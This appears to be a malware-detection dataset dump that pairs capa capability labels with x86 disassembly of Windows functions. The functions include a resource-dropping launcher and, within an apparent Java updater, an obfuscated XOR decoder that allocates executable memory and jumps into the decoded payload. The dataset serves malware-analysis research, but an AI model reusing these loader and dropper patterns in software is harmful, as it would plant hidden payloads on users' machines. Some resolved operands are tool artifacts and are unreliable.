joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a73e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x4ef7e8]
and eax, 7
dec eax
push ebx
push esi
cmp eax, 6
ja case.default.0x4a73f4
jmp dword [eax*4 + 0x4a7680]
mov eax, dword [0x4cf59c]
mov ecx, dword [0x4cf598]
push 0
push 0x41a7
push eax
push ecx
call fcn.0046d2f0
push 0
push closesocket
push edx
push eax
call fcn.004a83e0
lea ecx, [eax - 1]
mov dword [0x4cf598], eax
mov eax, ecx
shr eax, 0xc
mov dword [0x4cf59c], edx
movzx edx, al
mov eax, dword [edx*4 + 0x4f0288]
mov dword [edx*4 + 0x4f0288], ecx
jmp 0x4a7664
mov edx, dword [0x4cf5a4]
mov eax, dword [0x4cf5a0]
push 0
push 0x10dcd
push edx
push eax
call fcn.0046d2f0
add eax, 1
adc edx, 0
xor edx, edx
mov dword [0x4cf5a0], eax
mov dword [0x4cf5a4], edx
shr eax, 1
jmp 0x4a7664
mov ecx, dword [0x4cf5ac]
mov edx, dword [0x4cf5a8]
push 0
push 0x10dcd
push ecx
push edx
call fcn.0046d2f0
add eax, 1
adc edx, 0
mov dword [0x4cf5a8], eax
shr eax, 1
xor edx, edx
mov ecx, eax
shr ecx, 0xc
movzx ecx, cl
mov dword [0x4cf5ac], edx
mov edx, dword [ecx*4 + 0x4efe88]
mov dword [ecx*4 + 0x4efe88], eax
mov eax, edx
jmp 0x4a7664
mov eax, dword [0x4cf5b4]
mov ecx, dword [0x4cf5b0]
push 0
push 0x19660d
push eax
push ecx
call fcn.0046d2f0
add eax, 0x3c6ef35f
adc edx, 0
xor edx, edx
mov dword [0x4cf5b0], eax
mov dword [0x4cf5b4], edx
shr eax, 1
jmp 0x4a7664
mov edx, dword [0x4cf5bc]
mov eax, dword [0x4cf5b8]
push 0
push 0x19660d
push edx
push eax
call fcn.0046d2f0
add eax, 0x3c6ef35f
adc edx, 0
mov dword [0x4cf5b8], eax
shr eax, 1
xor edx, edx
mov ecx, eax
shr ecx, 0xc
movzx ecx, cl
mov dword [0x4cf5bc], edx
mov edx, dword [ecx*4 + 0x4efa88]
mov dword [ecx*4 + 0x4efa88], eax
mov eax, edx
jmp 0x4a7664
movzx eax, byte [0x4cf5c0]
mov bl, byte [0x4f0688]
mov ecx, dword [eax*8 + 0x4ef8d0]
mov edx, dword [eax*8 + 0x4ef8d4]
movzx esi, bl
add ecx, dword [esi*8 + 0x4ef8d0]
push 0
adc edx, dword [esi*8 + 0x4ef8d4]
push closesocket
push edx
push ecx
call fcn.004a83e0
inc bl
mov dword [esi*8 + 0x4ef8d0], eax
mov dword [esi*8 + 0x4ef8d4], edx
mov eax, dword [esi*8 + 0x4ef8d0]
mov byte [0x4f0688], bl
cmp bl, 0x37
jne 0x4a75af
mov byte [0x4f0688], 0
mov cl, byte [0x4cf5c0]
inc cl
mov byte [0x4cf5c0], cl
cmp cl, 0x37
jne 0x4a7664
mov byte [0x4cf5c0], 0
jmp 0x4a7664
mov cl, byte [0x4f0689]
mov bl, byte [0x4cf5c1]
movzx esi, cl
movzx eax, bl
mov eax, dword [eax*4 + 0x4ef7f0]
xor eax, dword [esi*4 + 0x4ef7f0]
push edi
xor edx, edx
mov edi, closesocket
div edi
inc cl
mov byte [0x4f0689], cl
pop edi
mov eax, edx
mov dword [esi*4 + 0x4ef7f0], eax
cmp cl, 0x37
jne 0x4a761a
mov byte [0x4f0689], 0
inc bl
mov byte [0x4cf5c1], bl
cmp bl, 0x37
jne 0x4a7664
mov byte [0x4cf5c1], 0
jmp 0x4a7664
mov ecx, dword [0x4cf594]
mov edx, dword [0x4cf590]
push 0
push 0x41a7
push ecx
push edx
call fcn.0046d2f0
push 0
push closesocket
push edx
push eax
call fcn.004a83e0
mov dword [0x4cf590], eax
mov dword [0x4cf594], edx
dec eax
pop esi
mov dword [0x4ef7e8], eax
pop ebx
cmp eax, 0x7ffffffd
jbe 0x4a767c
call fcn.004a73e0
mov eax, dword [0x4ef7e8]
ret
Function at 0x4a77e0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x104
mov eax, dword [0x4cd724]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x108]
push ebx
mov ebx, dword [esp + 0x114]
push ebp
push esi
mov esi, dword [esp + 0x118]
xor ebp, ebp
push edi
mov edi, dword [esp + 0x124]
mov dword [esi], 0xffffffff
test eax, eax
je 0x4a7832
cmp byte [eax], 0
je 0x4a7832
push eax
push 0x100
lea eax, [esp + 0x18]
push eax
jmp 0x4a7841
push str.www.avanquest.com
push 0x100
lea ecx, [esp + 0x18]
push ecx
call fcn.00469f5d
add esp, 0xc
test edi, edi
je 0x4a7867
mov eax, dword [esp + 0x128]
test eax, eax
je 0x4a7867
lea edx, [esp + 0x10]
push edx
push eax
push edi
call fcn.00469f5d
add esp, 0xc
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x4a789b
movsx ecx, word [edi + 0xa]
mov edx, dword [edi + 0xc]
mov eax, dword [edx]
push ecx
push eax
push esi
call fcn.0046ab00
add esp, 0xc
mov eax, ebp
test ebx, ebx
je 0x4a78c3
mov cx, word [edi + 8]
mov word [ebx], cx
jmp 0x4a78c3
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x4a78b5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4a78c3
test ebx, ebx
je 0x4a78c1
mov eax, 2
mov word [ebx], ax
mov eax, ebp
mov ecx, dword [esp + 0x110]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004677af
add esp, 0x104
ret
Function at 0x4a7e80
Capabilities:
Check os version

Disassembly:
sub esp, 0x118
mov eax, dword [0x4cd724]
xor eax, esp
mov dword [esp + 0x114], eax
push esi
mov esi, dword [esp + 0x120]
push edi
mov edi, dword [esp + 0x134]
push 0x110
lea eax, [esp + 0x10]
push 0
push eax
mov dword [esp + 0x14], 0x114
call fcn.004677c0
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0xc], 5
push edi
jb 0x4a7ef3
push esi
call fcn.004a7c70
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 0x114]
xor ecx, esp
call fcn.004677af
add esp, 0x118
ret
mov edx, dword [esp + 0x134]
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x12c]
push edx
push eax
push ecx
push esi
call fcn.004a78e0
mov ecx, dword [esp + 0x130]
add esp, 0x14
pop edi
pop esi
xor ecx, esp
call fcn.004677af
add esp, 0x118
ret

Function at 0x10001016
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push esi
push edi
push 0x10003010
push 0x65
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10001061
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001061
push edi
push dword [0x1000313c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x10001065
xor eax, eax
jmp 0x100010a7
push ebx
mov ebx, dword [esi]
push 0
push 4
push 2
push 0
push 2
push 0x40000000
push 0x10003038
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100010a3
lea eax, [esp + 0xc]
push 0
push eax
add esi, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop ebx
pop edi
pop esi
pop ecx
ret

Function at 0x100010ab
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
xor edx, edx
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], edx
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
push edx
push edx
push 0x8000000
push edx
push edx
push edx
push 0x10003038
push edx
mov word [ebp - 0x24], dx
mov dword [ebp - 0x28], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x10001110
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
pop esi
xor eax, eax
leave
ret
Function at 0x401f87
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x433]
push ebx
push eax
mov esi, 0x80004005
mov byte [ebp - 0x434], bl
call fcn.0041b010
push 7
xor eax, eax
mov byte [ebp - 0x34], bl
pop ecx
lea edi, [ebp - 0x33]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
call fcn.0040d3cc
add esp, 0x10
test eax, eax
je 0x40205b
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040d3cc
mov eax, dword [ebp - 4]
imul eax, eax, 0xa
add esp, 0x14
mov dword [ebp - 4], eax
lea eax, [ebp - 0x434]
push eax
push 0x400
push ebx
push dword [ebp + 0xc]
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40205b
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0xc]
push eax
push 0x434a24
lea eax, [ebp - 0x434]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40205b
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + 0xa]
cmp ecx, dword [ebp - 8]
jg 0x402059
jne 0x40205b
movzx ecx, word [eax + 8]
cmp ecx, dword [ebp - 0xc]
jg 0x402059
jne 0x40205b
movzx eax, word [eax + 0xe]
cmp eax, dword [ebp - 4]
jl 0x40205b
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x40367c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x604
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x603]
push ebx
push eax
mov byte [ebp - 0x604], bl
call fcn.0041b010
push 0xff
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.0041b010
mov esi, dword [ebp + 8]
add esp, 0x18
cmp dword [esi + 0x184c], ebx
jne 0x4036d1
cmp dword [esi + 0x58], ebx
je 0x4036d1
xor ecx, ecx
jmp 0x4036d4
xor ecx, ecx
inc ecx
cmp dword [ebp + 0xc], ebx
jne 0x403715
mov eax, dword [esi + 0x1848]
cmp eax, ebx
je 0x4036e7
cmp ecx, ebx
je 0x403715
mov edx, dword [esi]
push eax
push ecx
push esi
call dword [edx + 0x10]
mov edi, eax
cmp edi, ebx
jne 0x40370b
push 1
call fcn.0040d3cc
pop ecx
test eax, eax
je 0x403715
mov eax, 0x80070204
jmp 0x40380a
call fcn.0040d3cc
jmp 0x403808
cmp dword [esi + 0x184c], ebx
je 0x40372b
push 0x80
lea eax, [esi + 8]
push eax
call fcn.0040d3cc
push 0x104
lea eax, [ebp - 0x104]
push eax
mov ecx, esi
call fcn.004031f7
mov edi, eax
cmp edi, ebx
jl 0x4037f4
push str.Download_Status:_Download_Complete
call fcn.0040d3cc
mov eax, dword [esi]
pop ecx
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x403789
push dword [ebp + 0xc]
mov eax, dword [esi]
push 1
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [eax + 0x24]
mov edi, eax
cmp edi, ebx
jge 0x403808
push str.Download_Status:_Verification_of_Downloaded_File_Signature_Failed
jmp 0x403802
mov esi, dword [sym.imp.user32.dll_LoadStringA]
push 0x100
lea eax, [ebp - 0x204]
push eax
push 0x72
push dword [0x4470b0]
call esi
push 0x400
lea eax, [ebp - 0x604]
push eax
push 0x74
push dword [0x4470b0]
call esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
push 0x10
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x604]
push eax
push ebx
call dword [sym.imp.user32.dll_MessageBoxA]
push 0xfffffffffffffffb
call fcn.0040d3cc
call fcn.0041974f
mov dword [esp], str.Download_Status:_Verification_of_Downloaded_File_Version_Failed
jmp 0x403802
push 0xffffffffffffffc3
call fcn.0040d3cc
mov dword [esp], str.Download_Status:_Download_Failed
call fcn.0040d3cc
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4091f7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
push esi
push 0x400
lea eax, [ebp - 0x454]
push eax
xor esi, esi
push esi
call fcn.00418804
add esp, 0xc
test eax, eax
jne 0x40921f
inc eax
jmp 0x409288
push edi
push str._binjavacpl.exe
lea eax, [ebp - 0x454]
push eax
call dword [sym.imp.kernel32.dll_lstrcatA]
push 0x44
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0041b010
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push str.__tab_update
lea eax, [ebp - 0x454]
push eax
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop edi
test eax, eax
je 0x409286
push dword [ebp - 0x10]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
pop esi
leave
ret 4

Function at 0x409939
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.kernel32.dll_CreateEventA]
xor ebx, ebx
push ebx
push ebx
mov dword [esi + 0xc], 0xbc2
mov eax, dword [0x4470ac]
push 1
push ebx
mov dword [esi + 0x18], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x20], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x38], eax
call fcn.0040d3cc
mov dword [esi + 0x3c], eax
call fcn.0040d3cc
push dword [esi + 0x20]
mov edi, dword [sym.imp.kernel32.dll_ResetEvent]
mov dword [esi + 0x40], eax
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x38]
call edi
lea eax, [ebp + 8]
push eax
push ebx
push esi
push 0x409860
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
cmp eax, ebx
je 0x4099c0
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [esi + 0x20]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [esi + 0x20]
call edi
mov edi, dword [sym.imp.user32.dll_LoadStringA]
mov ebx, 0x104
push ebx
lea eax, [esi + 0x58]
push eax
push 0x7b
push dword [esi + 0x18]
call edi
push ebx
lea eax, [ebp - 0x104]
push eax
push 0x7c
push dword [esi + 0x18]
call edi
lea eax, [ebp - 0x104]
push eax
mov ecx, esi
call fcn.0040d3cc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40ad3e
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
push 0x814
push 0x43fdb0
call fcn.0041b9f0
push 0x4358f2
call fcn.004012da
pop ecx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
push ebx
push dword [ebp + 8]
push 0x446e04
mov ecx, 0x446e34
call fcn.0040d3cc
mov dword [ebp + 8], 1
mov dword [ebp - 0x1c], ebx
mov esi, 0x4359c8
lea edi, [ebp - 0x24]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040d3cc
pop ecx
pop ecx
mov esi, eax
cmp esi, ebx
je 0x40ae8a
mov edi, dword [sym.imp.kernel32.dll_lstrcmpiA]
push str.UnregServer
push esi
call edi
test eax, eax
je 0x40af73
push str.RegServer
push esi
call edi
test eax, eax
je 0x40ae87
push 4
push str.auto
push esi
call fcn.0040d3cc
add esp, 0xc
test eax, eax
jne 0x40adf1
mov dword [0x444b50], ebx
mov dword [str.jau_m], 0x4359ec
jmp 0x40ae6f
push 9
push str.scheduled
push esi
call fcn.0040d3cc
add esp, 0xc
test eax, eax
jne 0x40ae11
mov dword [0x446e28], 1
jmp 0x40ae6f
push 7
push str.pending
push esi
call fcn.0040d3cc
add esp, 0xc
test eax, eax
jne 0x40ae31
mov dword [0x446e2c], 1
jmp 0x40ae6f
push 8
push 0x435a04
push esi
call fcn.0040d3cc
add esp, 0xc
test eax, eax
jne 0x40ae51
mov dword [0x446e30], 1
jmp 0x40ae6f
push 4
push str.test
push esi
call fcn.0040d3cc
add esp, 0xc
test eax, eax
jne 0x40ae6f
lea eax, [esi + 5]
push eax
call fcn.0040d3cc
pop ecx
lea eax, [ebp - 0x24]
push eax
push esi
call fcn.0040d3cc
pop ecx
pop ecx
mov esi, eax
cmp esi, ebx
jne 0x40adab
jmp 0x40ae8a
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
je 0x40af73
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push str.SunJavaUpdateCheckerMutex
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x40af35
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x40af35
call fcn.0040d3cc
test eax, eax
jne 0x40af17
mov edi, 0x400
push edi
lea eax, [ebp - 0x424]
push eax
push 0x72
push dword [0x4470b0]
mov esi, dword [sym.imp.user32.dll_LoadStringA]
call esi
push edi
lea eax, [ebp - 0x824]
push eax
push 0x75
push dword [0x4470b0]
call esi
push 0x10
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x824]
push eax
push ebx
call dword [sym.imp.user32.dll_MessageBoxA]
mov dword [ebp - 0x1c], 0x80004005
jmp 0x40af6a
push dword [0x444b54]
push 0x435a34
push ebx
call fcn.0040d3cc
add esp, 0xc
call fcn.0040d3cc
mov dword [ebp - 0x1c], eax
jmp 0x40af6a
mov dword [ebp - 0x1c], 0x64
cmp dword [ebp - 0x20], ebx
je 0x40af6a
cmp dword [0x444b50], ebx
jne 0x40af51
cmp dword [0x446e28], ebx
je 0x40af6a
push dword [0x444b54]
push 0x435a3c
push ebx
call fcn.0040d3cc
add esp, 0xc
call fcn.0040d2d8
or dword [ebp - 4], 0xffffffff
call fcn.0040af90
mov ecx, 0x446e34
call fcn.00409daa
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x1c]
call fcn.0041ba2b
ret 0x10
Function at 0x40bbd5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x432dbb
call fcn.0041b53c
sub esp, 0x418
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x424], ebx
mov byte [ebp - 4], 1
cmp dword [ebp + 8], ebx
je 0x40bc6a
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040d3cc
add esp, 0xc
test eax, eax
js 0x40bc6a
mov esi, dword [ebp - 0x14]
cmp esi, 0x400
jg 0x40bc4e
push esi
call fcn.00402aa1
pop ecx
test al, al
je 0x40bc4e
mov eax, esi
call fcn.0041b560
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x40bc5a
push esi
lea ecx, [ebp - 0x18]
call fcn.0040d3cc
mov edi, dword [ebp - 0x18]
push 3
push esi
push dword [ebp + 8]
push eax
call fcn.0040d3cc
cmp eax, ebx
jne 0x40bc9c
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x40bc8e
lea ecx, [ebp - 0x424]
call fcn.0040a6ea
jmp 0x40bc8e
push edi
mov edi, dword [edi]
call fcn.0040d3cc
pop ecx
cmp edi, ebx
jne 0x40bc85
mov eax, 0x8007000e
jmp 0x40bd9a
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x40bcbb
call fcn.00403f7a
mov esi, eax
jmp 0x40bd70
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x40bcd8
call fcn.00403f7a
jmp 0x40bd65
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x40bcce
push esi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp + 8], esi
cmp eax, esi
jae 0x40bd02
mov esi, 0x8007000e
jmp 0x40bd67
push eax
lea ecx, [ebp - 0x424]
mov byte [ebp - 4], 2
call fcn.0040d3cc
mov dword [ebp - 4], 1
jmp 0x40bd2e
cmp dword [ebp - 0x424], 0
je 0x40bcfb
push esi
push dword [ebp + 0x10]
push esi
push dword [ebp - 0x424]
call fcn.0040d3cc
mov eax, dword [ebp - 0x424]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], 0
push dword [ebp - 0x424]
lea ecx, [ebp - 0x20]
call fcn.0040d3cc
mov esi, eax
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x40bd94
lea ecx, [ebp - 0x424]
call fcn.0040a6ea
jmp 0x40bd94
push edi
mov edi, dword [edi]
call fcn.0040d3cc
pop ecx
test edi, edi
jne 0x40bd8b
mov eax, esi
lea esp, [ebp - 0x430]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40d3cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40d3db
pop dword [ebp - 0x50]
mov eax, 0xa33561b4
sub eax, 0xa2f48dd9
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4520a
push 0
mov eax, 0x7e696dc9
sub eax, 0x7e262c89
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x5216
mov ebx, eax
mov esi, 0xc0dcbd59
sub esi, 0xc094c759
add esi, dword [ebp - 0x50]
mov edi, 0xa7525705
sub edi, 0x379b22d2
add dword [ebp - 0x20], eax
mov edx, dword [esi]
add dword [ebp - 0x14], 0x2c6feb5a
xor edx, edi
add dword [ebp - 4], 0x9dceeb7e
mov dword [ebx], edx
sub dword [ebp - 0x44], 0x91b98d23
add ebx, 0xb426f33c
add ebx, 0x4bd90cc8
add esi, 0xc2ce5793
add esi, 0x3d31a871
loop 0x40d434
add eax, 0xbe7a132b
add eax, 0x41872800
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x73689d6c
add ecx, 0x8cd76294
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40ed58
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push 0x45c
push 0x440190
call fcn.0041b9f0
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 4
xor esi, esi
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.wininet.dll_InternetGetConnectedState]
test eax, eax
je 0x40ed8c
mov eax, ebx
jmp 0x40eed3
push str.http:__java.sun.com
push 0x436834
lea eax, [ebp - 0x16c]
push eax
call fcn.0040d3cc
add esp, 0xc
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push 0x436838
call dword [sym.imp.wininet.dll_InternetOpenA]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x40eec7
push 0x3c
pop edi
push edi
push esi
lea eax, [ebp - 0x6c]
push eax
call fcn.0041b010
add esp, 0xc
mov dword [ebp - 0x6c], edi
lea eax, [ebp - 0x36c]
mov dword [ebp - 0x5c], eax
mov eax, 0x100
mov dword [ebp - 0x58], eax
xor ecx, ecx
mov word [ebp - 0x54], cx
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x6c]
push eax
push esi
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
push esi
push esi
push 3
push 0x436752
push 0x436753
push dword [ebp - 0x54]
push dword [ebp - 0x5c]
push dword [ebp - 0x24]
call dword [sym.imp.wininet.dll_InternetConnectA]
mov dword [ebp - 0x2c], eax
cmp eax, esi
je 0x40eec7
push esi
push 0x4400000
push esi
push 0x43675a
push 0x436840
lea ecx, [ebp - 0x26c]
push ecx
push 0x43684c
push eax
call dword [sym.imp.wininet.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp - 0x28], edi
cmp edi, esi
je 0x40eec7
push esi
push esi
push esi
push esi
push edi
call dword [sym.imp.wininet.dll_HttpSendRequestA]
test eax, eax
jne 0x40ee9f
call dword [sym.imp.kernel32.dll_GetLastError]
sub eax, 0x2ee2
je 0x40ee9c
sub eax, 5
je 0x40ee9c
sub eax, 0x16
jne 0x40ee9f
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x20000013
push edi
call dword [sym.imp.wininet.dll_HttpQueryInfoA]
test eax, eax
je 0x40eec7
cmp dword [ebp - 0x20], 0x197
jne 0x40eec7
mov dword [ebp - 0x1c], ebx
or dword [ebp - 4], 0xffffffff
call fcn.0040eedb
mov eax, dword [ebp - 0x1c]
call fcn.0041ba2b
ret